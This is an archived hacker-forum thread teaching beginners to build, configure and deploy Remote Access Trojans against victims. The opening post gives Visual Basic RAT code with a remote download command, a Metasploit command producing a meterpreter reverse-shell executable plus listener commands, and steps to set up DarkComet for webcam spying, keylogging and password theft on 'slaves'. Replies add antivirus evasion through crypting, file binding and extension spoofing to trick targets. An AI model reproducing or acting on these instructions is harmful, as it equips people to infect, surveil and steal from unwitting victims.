

Forum:[Hack Forums](#)

Thread: [? Antagonism | Lesson One - All about RATs ?](#)

-?Divine- - December 2, 2012, 10:46 pm

Note: I am Divine. My old account was merged with some random guy who used it to scam people. The account can't be recovered, but Factor8 said I could stay with this one. To read more about it and learn who I really am, click [this](#). With F8's permission, I am regaining access to my old threads.

[img]http://desmond.imageshack.us/Himg515/scaled.php?server=515&filename=antagonism.jpg&res=medium[/img]

Awaken. You have been lost for too long, buried, in the mist of unknown shadows. Awaken. Your cries have been heard and they shall not be neglected. Come forward. You are grasping in the dark, blind for what is before you. Awaken, for I shall be your eyes. Call my name, and I will breach the darkness in path before you. Take my hand, and I will be the light that illuminates your journey. Come forward, and walk with us, for we are the vanguard of your purification. Dance in the rhythm of silence.

Welcome. I am the head of Antagonism beginner hacking classroom, and I will be teaching you from now on. You will post in this thread what you want to learn about, and what gets most votes shall be accepted for the next class. Everyone who applies for that class shall be invited to join the class and PM-ed with my Team Viewer information. Lessons will be recorded, and posted publicly so everyone who missed them can watch the video.

View all lessons by clicking [This](#) link!
First lesson, RATs:

I have covered pretty much everything you need to know about RATs including how they work, what they are made of, their features etc.

[Video: <http://www.youtube.com/watch?v=WCwjKKe-rvk>]

Please note that hypercam didn't record the Team Viewer window and questions people were asking me. So if you hear me talk something random, I'm actually reading and replying to their questions or requests to repeat.

Other Lessons can be found [Here](#)

Dark Comet

How do RATs work?

In order to configure RAT correctly you must understand them first.

RATs are made from two parts:Builder

Listener

Builder is part that makes your server. Listener listens for incoming connections and accepts them.

RATs work on the base of reverse connection. What does that mean? Server you make has information of your external IP address, and port. When they run your server(malicious file) they connect back to you.

Programming RATs

Example is in visual basic. If you don't know the language, I don't recommend you proceed further. This is the most simple way to make one. I highly recommend you don't use WinSock in your RAT. This is for demonstration purposes only.

RAT

Create a new WinSock object and name in WinSock. Then go ahead and make two Text Boxes and two Buttons. Also make one Rich Text box and name it Rich.

Double click the first button. We want it to take input from first text box in which we will type IP address. Port will by default be set to 4444. To connect we use Winsock.Connect(IP, Port).

PHP Code

```
<?php
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button1.Click
    Winsock.Connect(TextBox1.Text, 4444)
```

End Sub

Awesome. But keep in mind that it will not work unless there is a listener on the other side. We'll get to that later. Now as I said, we want it to send strings to the other side. It will take input from TextBox2 and do so.

PHP Code

```
<?php
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
    Winsock.SendData(TextBox2.Text)
End Sub
```

Good. This will send string that is inputted in second text box. Now we also want to get data from our victim. To do so we need data arrival event and Winsock.GetData() function.

PHP Code

```
<?php
Private Sub Winsock_DataArrival(ByVal sender As Object, ByVal e As AxMSWinsockLib.
DMSWinsockControlEvents_DataArrivalEvent)
    Dim Data As String = ""
    Winsock.GetData(Data)
    Rich.AppendText(" " + Data & vbNewLine _
    )
End Sub
```

Everything victim returns you will be written in rich text box. And that's all we'll be needing for our RAT. Not let's take a look at our malicious file.

Server

Start a new project, make a form and create Winsock1 object.

Server will be listening for new connections. Also we want form name to change to "Listening..." so we now everything went good.

PHP Code

```
<?php
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
    Winsock1.LocalPort = 4444
    Winsock1.Listen()
    Me.Text = "Listening..."
End Sub
```

Now when new connections come, we want to accept them. Use ConnectionRequest event for that.

PHP Code

```
<?php
Private Sub Winsock1_ConnectionRequest(ByVal sender As Object, ByVal e As AxMSWinsockLib.
DMSWinsockControlEvents_ConnectionRequestEvent) Handles Winsock1.ConnectionRequest
    Winsock1.Close()
    Winsock1.Accept(e.requestID)
    Me.Text = "Worked"
```

End Sub

Okay. First run the server and it will begin to listen. Then start the RAT interface and input the IP of the victim In first text box. Click on button one and it will connect. Right now the RAT doesn't do anything. We need to make the server check the data that will be arriving from TextBox2 and give it instructions.

For example, if it gets word "Hello" it should open a message box saying "Hello world!".

Now let's use DataArrival event again.

PHP Code

```
<?php
Private Sub Winsock1_DataArrival(ByVal sender As Object, ByVal e As AxMSWinsockLib.
DMSWinsockControlEvents_DataArrivalEvent) Handles Winsock1.DataArrival

    Dim data As String = ""
    Winsock1.GetData(data)
    If data = "Hello" Then
        MsgBox("Hello world!")
    End If
End Sub
```

Good. Now save the project and run it again. Connect to it from the interface and in TextBox2 type "Hello" and click send. You will see message box open saying "Hello World".

This seems rather easy, but what when user has to input more than one input in just one string?
For example.

PHP Code

```
<?php
```

```
download http://dl.dropbox/maliciousfile.exe
```

Server will have to do a little more than just a basic check. We will search if the string contains word "download" and if it does, we will take the rest of the string and take it as a variable.

PHP Code

```
<?php
```

```
Elseif InStr(data, "download", vbTextCompare) Then
```

```
Dim url As String = Replace(data, "download ", "")
```

```
Dim Current As String = CurDir() + "\Name.exe"
```

```
My.Computer.Network.DownloadFile(url, Current)
```

```
Winsock1.SendData("File saved as: " & Current &
```

```
". If the file doesn't match the extension, rename it.")
```

Now when we run "download <http://dl.dropbox/maliciousfile.exe>" we will download file in our current directory with name "Name.exe". This was just a basic example of how things work behind the scenes. If you wish to program your own Remote Administration Tool, Winsock is not good for you. Metasploit

You need to create a server, which contains information of your external IP and port you forwarded. When you send it to someone and he opens it, he connects back to you. Rats use this type of reverse connection. However, most of you have dynamic IP (It changes). If you infected the target, his PC would always try to connect to the same IP you inputted even though your IP changed. To bypass this, we use no-ip client, which always updates our IP. That way we won't lose our slaves.

So here's another example of the simplest server possible. This is just an example on how they work. You don't have to do any of this.

BackTrack console:

Code:

Code msfpayload windows/meterpreter/reverse_tcp LHOST=(Your External IP) LPORT=4444 X > server.exe As you can see, it took the famous meterpreter payload, set our Local Port and our Local host and made it executable. Send it to someone and first step is done. However this won't be enough. We need to start a new console and use exploit/multi/handler as listener. It will listen for incoming connections and accept them.

Open a new console and type:

Code:

Code use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.2.103

set lport 4444

exploit

When he runs the file, meterpreter session will open:

Code:

Code [*] Meterpreter session 1 opened (192.168.2.103:4444 -> 192.168.2.105:1098) at Tue Jan 31 21:35:35 +0000 2012

As you can see, modern RATs do all this work for you. Servers are much more advanced and have options to change creation date, be installed in custom destinations and all of them have startup

option.

Port Forwarding

Your server contains information of external IP address and port. That port can be any unused port. When they run the server, they connect back to us. But connections coming to our router need to be directed to machine on local network. That's why we 'forward' all connections on certain port to our local IP address.

So, let's start!

Go to start>run

Type:

Code cmd

Black window will appear. Now inside of it, type:

Code ipconfig

Lot of information will appear, but you must take note of two things: Local IP

Default Gateway

My local IP is 192.168.2.101

My default gateway is 192.168.2.1

Your default gateway is most likely 192.168.1.1

Now open web browser of your desire. In address bar type your default gateway.

You will be greeted by input window asking for your administrator username and password. Now, if you haven't changed anything you need to input default browser login info. You can find these by searching your router model on Google.

I had 'admin' for both username and password.

Code admin

admin

Now you are in your router. Find any tab that says either: Forwarding

Virtual servers

Games & Applications

Now you will have option to forward. You can have many fields and text boxes there. They can ask for one IP, or range of IPs, they can ask for port, or range of ports etc.

In every IP field type your local IP (192.168.2.101 for me), in every port field type port you want to forward (4444 for me).

For protocol, choose both.

Now click ok and that's it.

Here's a screenshot of how it looks on my side:

Spoiler ([Click to View](#))

If your router has any firewall, either: Disable it

Add a rule that will allow connection

Now we want to test it. Remember this:

Ports don't show as open unless they are being used. So what are you going to do? Use them. Download uTorrent. Under Options tab go to Setup guide. Under networking type your forwarded port (4444).

Now click run tests, and then click save and close.

Spoiler ([Click to View](#))

Go to [CanYouSeeMe](#) and type your port. It will give accurate results.

Also, when you're done, go back to uTorrent and set it to use a different port.

Port Forwarding Multiple Routers

For multiple routers it gets difficult. Log in to your second router. Find WAN settings and take note of your other default gateway. It must be one of your first router.

Spoiler ([Click to View](#))

Go to quick setup or something like that chose static ip and in ip fill in desired IP (Any IP that has first 3 rows same as default gateway of your first router. Default gateway of my first router is 192.168.1.1, so i can set static IP to be 192.168.1.50), for Subnet Mask 255.255.255.0 and for default gateway 192.168.1.1.Spoiler ([Click to View](#))



For DNS you need to log on to your first router. Find Primary DNS and copy-paste.

Spoiler ([Click to View](#))

Finish the quick setup. You set up your routers static IP. Now we need to forward ports from 1st router to static IP, then from 2nd router to your local IP.

Now in the first router go to virtual servers and forward the port to static IP you just made (192.168.1.50)

Spoiler ([Click to View](#))

and in the second router forward the ports (4444,443,80) to your local IP.

Spoiler ([Click to View](#))

No-IP

As I said, RATs work on reverse connection. We have already insured that slaves find us. But what happens when you restart your router? Your external IP changes to something else. That would mean that you would lose your slaves every time you restart your router. To bypass this hackers use no-ip.

We make a host on no-ip. The host updates with our external IP address every time we log in their site. The host itself is simply forwarding all connections that come to him, to our external IP.

So, No-ip is not used for protection like most people think, it is used to update with our external IP so we don't lose slaves.

Register an account at [No-IP](#). Add a new host. You will be greeted by many options but you only want to change two things. Make hostname anything you want.

Choose one of free domains. No-ip.biz for example.

ScreenShot:

Spoiler ([Click to View](#))

Now scroll down and click create host.

Now click download client. Install their client called "Duc". It will run at startup, and update your IP all the time.

Log in to DUC with no-ip username and password.

Dark Comet

I will be showing you how to configure DarkComet v5.2 fwb final. Download it from their official website and start it.

Go to Socket/Net tab and right click on empty space. Then click 'Add port to listen', and type port you forwarded (4444).

This is all that listener needs.

ScreenShot:

Spoiler ([Click to View](#))

Now go to DarkComet-RAT and click on Server Module > Full Editor

Go to network settings. For IP/DNS type:Hostname you created at No-ip. For example:
examplehostname.no-ip.biz

For port type port you forwarded.

Click add. That's it!

ScreenShot:

Spoiler ([Click to View](#))

Now, if you test it on yourself it might not work properly, but it is configured correctly. So to test it, ask for a test install.

When someone opens the server, and when they run it, you will get a new connection.

Spoiler ([Click to View](#))

DarkComet has many great options. All of them can be found in control center. To open control center, just select the slave and right click it. Click open control center.

You can:Remotely control his desktop

View his webcam

Log keystrokes

Steal stored passwords

and many more

Keyloggers can be:Offline

Online

Offline keyloggers can be viewed from your RAT. Online ones send the logs through FTP to your previously set destination.

Password Stealers steal saved passwords. They too can be online and offline, but they don't work very well on some RATs such as CyberGate.

hacking24bd - December 3, 2012, 1:48 pm

i am having problem with port Forwarding i am not using router i am using mobile Broadband connection.

there the Default Geteway is something Like 0.0.0.0 :(

"Subnet Mask . . : 255.255.255.255

Default Gateway . . : 0.0.0.0

it's all about that.

thank You..

i am having problem with port Forwarding i am not using router i am using mobile Broadband connection.

there the Default Geteway is something Like 0.0.0.0 :(

"Subnet Mask . . : 255.255.255.255

Default Gateway . . : 0.0.0.0

it's all about that.

please Help Me

i am having problem with port Forwarding i am not using router i am using mobile Broadband connection.

there the Default Geteway is something Like 0.0.0.0 :(

"Subnet Mask . . : 255.255.255.255

Default Gateway . . : 0.0.0.0

it's all about that.

please Help Me

-?Divine- - December 3, 2012, 2:17 pm

(Dec 3, 2012 02:48 PM)hacking24bd Wrote: [\[CITE\]](#) i am having problem with port Forwarding i am not using router i am using mobile Broadband connection.

there the Default Geteway is something Like 0.0.0.0 :(

"Subnet Mask . . : 255.255.255.255

Default Gateway . . : 0.0.0.0

it's all about that.

thank You..

i am having problem with port Forwarding i am not using router i am using mobile Broadband connection.

there the Default Geteway is something Like 0.0.0.0 :(

"Subnet Mask . . : 255.255.255.255

Default Gateway . . : 0.0.0.0
it's all about that.
please Help Me

i am having problem with port Forwarding i am not using router i am using mobile Broadband connection.

there the Default Geteway is something Like 0.0.0.0 :(
"Subnet Mask . . : 255.255.255.255
Default Gateway . . : 0.0.0.0
it's all about that.
please Help Me
I will, no need to spam. What OS are you using?

hacking24bd - December 3, 2012, 3:10 pm

(Dec 3, 2012 03:17 PM)Divine_TEMP Wrote: [\[CITE\]](#) I will, no need to spam. What OS are you using?
I Am using Windows 7 Ultimate 32 bit Service pack 1.

NETExplorer - December 3, 2012, 4:06 pm

Nice thread, shame no one has posted on it.

-?Divine- - December 3, 2012, 10:25 pm

(Dec 3, 2012 04:10 PM)hacking24bd Wrote: [\[CITE\]](#) I Am using Windows 7 Ultimate 32 bit Service pack 1.

Start command prompt. In the black window, type:
Code route delete 0.0.0.0
Then do:
Code ipconfig /releaseAnd:
Code ipconfig /renew

Omanyte - December 4, 2012, 10:43 am

Thanks alot for this awesome tutorial

-?Divine- - December 4, 2012, 10:53 am

(Dec 4, 2012 11:43 AM)Omanyte Wrote: [\[CITE\]](#) Thanks alot for this awesome tutorial
No problem mate, I'm glad I could help.

Mr_Runtime - December 4, 2012, 4:44 pm

Thanks you so much. I've been looking for a guide like this for AGES.

-?Divine- - December 8, 2012, 4:01 pm

Awesome. I'm glad you finally found it mate. Check out the rest of the lessons.

Sophistication - December 9, 2012, 8:13 am

This is a really nice guide.
Thanks mate!

-?Divine- - December 12, 2012, 4:30 pm

(Dec 9, 2012 09:13 AM)Dimensious Wrote: [\[CITE\]](#) This is a really nice guide.
Thanks mate!
Dimensious I'm glad you liked it. Thanks for keeping it alive.

?Dante - December 13, 2012, 4:10 am

This thread deserves to be on first page. <3

Rangars23 - December 19, 2012, 1:30 pm

This is some viable information for my study. Thanks !

ironjonflins - December 19, 2012, 11:43 pm

You say "Umm" WAY to many times. But overall, good job!

-?Divine- - December 22, 2012, 12:25 pm

I know Iron. I stopped doing it in newer lessons.

Clark Kent™ - December 22, 2012, 12:58 pm

This is amazing thanks for making the effort :)

-?Divine- - December 22, 2012, 4:10 pm

(Dec 22, 2012 01:58 PM)Wingman Wrote: [\[CITE\]](#) This is amazing thanks for making the effort :)
I'm glad you liked it Wingman. Thanks for commenting.

supremeshizard - December 27, 2012, 1:09 am

How do we get people to " accept " the RAT?

?Dante - December 27, 2012, 1:27 am

(Dec 27, 2012 02:09 AM)supremeshizard Wrote: [\[CITE\]](#) How do we get people to " accept " the RAT?

* Crypt your server first so that it's FUD (while there are some methods of spreading which doesn't require FUDing ato' ;)) SE (social engineer) the target/people/going to be slave of yours ;) to make them open it.

You can bind your RAT server to a legitimate file like a software executable.

* You can even don't need to bind the file as you can easily SPOOF the extension of your RAT server to some MP3/MPG/JPG etc. ?

Panos_K - December 28, 2012, 8:52 am

nice thread... excellent job.. i'm going to next lesson..

iMarsh - December 28, 2012, 10:18 am

Very Good Lesson Divine, Well Informed for people who have not had any history with Dark Comet.

Anarchy - December 28, 2012, 10:22 am

Great tutorial Divine, this will lower the amount of questions asked about it here.

-?Divine- - December 28, 2012, 4:39 pm

Glad you all liked it guys, thanks for commenting.

hand0fg0d - December 28, 2012, 8:10 pm

I watched the video first, and you used cybergate. I haven't checked out dark comet yet but Im assuming its pretty similar. Are there any crypters you suggest using? I would like to actual rat someone and try it out in a realworld situation but obviously with AV picking up rats so easy I wanna make sure I can get it crypted and not picked up as easy

-?Divine- - December 30, 2012, 4:23 am

(Dec 28, 2012 09:10 PM)hand0fg0d Wrote: [\[CITE\]](#) I watched the video first, and you used cybergate. I haven't checked out dark comet yet but Im assuming its pretty similar. Are there any crypters you suggest using? I would like to actual rat someone and try it out in a realworld situation but obviously with AV picking up rats so easy I wanna make sure I can get it crypted and not picked up as easy
Watch lesson three. And yes, there are many free crypters just check out Cryptography section.

Ungifted - January 4, 2013, 11:24 pm

Were do I apply? I cannot find any place to apply whatsoever?

dick01 - January 7, 2013, 2:30 pm

Thanks a lot for these Even though I am interested in the code this is a good start for me.

avrealm - January 7, 2013, 9:17 pm

wow I want to thank you for these tutorials.

bionic521994 - January 8, 2013, 9:59 am

Thanks brother!

:D

Although I don't understand much because i am new, but i am trying. :P

Happy New Year!

CaliRedfoot - January 8, 2013, 2:00 pm

Great guide man this is very helpful, thanks!

-?Divine- - January 11, 2013, 7:28 pm

I'm very glad you enjoyed it. Thanks for stopping by.

CoBrAx. - January 11, 2013, 7:30 pm

Legit tut .

Thanks for sharing , will come in handy one day .

Superkawaii - January 11, 2013, 11:10 pm

hi devine , i noticed you use super hide ip , would you recommend that for novice users such as myself ?

thnx =)

-?Divine- - January 12, 2013, 4:01 am

(Jan 12, 2013 12:10 AM)SuperKawaii Wrote: [\[CITE\]](#) hi devine , i noticed you use super hide ip , would you recommend that for novice users such as myself ?

thnx =)

No. I only used that in the past because I was country banned from HF. I don't recommend it in any way.

imAnoobLOL - January 12, 2013, 4:04 am

Thanks a lot for this, I subscribed to it

Superkawaii - January 12, 2013, 10:36 am

(Jan 12, 2013 05:01 AM)-?Divine- Wrote: [\[CITE\]](#) No. I only used that in the past because I was country banned from HF. I don't recommend it in any way.

when sending a rat what are the best ways to keep yourself hidden and protected from either a counter attack or detection

DeadOne1 - January 12, 2013, 2:15 pm

Nice Thread man, helped me a lot, thanks!!

-?Divine- - January 14, 2013, 6:29 am

(Jan 12, 2013 11:36 AM)SuperKawaii Wrote: [\[CITE\]](#) when sending a rat what are the best ways to

keep yourself hidden and protected from either a counter attack or detection
To avoid detection by AVs refer to lesson four about crypting.

cultivity - January 14, 2013, 6:33 am

Thanks for sharing! If you have time, could you do a tutorial on FUDing please? Not like a how-to but a 'what is it'.

4RG0S - January 14, 2013, 6:39 am

This is a great Tutorial, thank you for sharing it with us :)

Superkawaii - January 17, 2013, 1:45 pm

in regards to port forwarding

im using cisco linksis router

application and gaming>single port forwarding

it has a space for internal and external port , which on do i choose ? or both ?

-?Divine- - January 18, 2013, 3:04 pm

I've given this a little update. Now it lives up to its name.

Ewbuntu - January 22, 2013, 1:43 pm

You are great at teaching and good at hacking.

-?Divine- - January 23, 2013, 9:02 am

I'm glad you think so Ewbuntu. Thanks.

MickyBlu82 - January 28, 2013, 12:48 pm

Divine

Your video tuts are spot on! It has given me the introduction I needed and following this tut I can now make a RAT.

I do have 1 question for you, which is VM Workstation or Virtual machine - Do you know how to port forward using this as the ip address it gives you is totally different to the point it does not start with 192 etc.

But again great work!!

-?Divine- - January 28, 2013, 12:53 pm

(Jan 28, 2013 01:48 PM)MickyBlu82 Wrote: [\[CITE\]](#) Divine

Your video tuts are spot on! It has given me the introduction I needed and following this tut I can now make a RAT.

I do have 1 question for you, which is VM Workstation or Virtual machine - Do you know how to port forward using this as the ip address it gives you is totally different to the point it does not start with 192 etc.

But again great work!!

You have to set the network connection to bridged, not NAT.

anom - February 3, 2013, 8:22 am

learning alot, many thanks for this post

rhyman18 - February 3, 2013, 7:26 pm

I'm newbi3 here.. i don't understand ur tutor... where i must start it?? i must understnd about programing??

-?Divine- - February 3, 2013, 10:16 pm

(Feb 3, 2013 08:26 PM)rhyman18 Wrote: [\[CITE\]](#) I'm newbi3 here.. i don't understand ur tutor... where i must start it?? i must understnd about programing??

That is because this wasn't made for just beginners. There are parts of this that you should understand such as setting up your rat. Also you don't have to know a programming language yet but you should learn at least two as you go.

rhyman18 - February 3, 2013, 10:31 pm

(Feb 3, 2013 11:16 PM)-?Divine- Wrote: [\[CITE\]](#) That is because this wasn't made for just beginners. There are parts of this that you should understand such as setting up your rat. Also you don't have to know a programming language yet but you should learn at least two as you go.

Ok.. thanks... but i will learn, GoodJob!

DarkComet™ - February 23, 2013, 11:35 am

Great thread for the beginners ,
i bet it took a lot of time to make all this. Good job!

TheFlyingPony - June 18, 2013, 12:55 pm

Good tutorial, planning on watching the others soon. Thanks

oz@bsd - November 25, 2013, 3:44 pm

Why thank you, kind sir ?

Hopefully I can be a member soon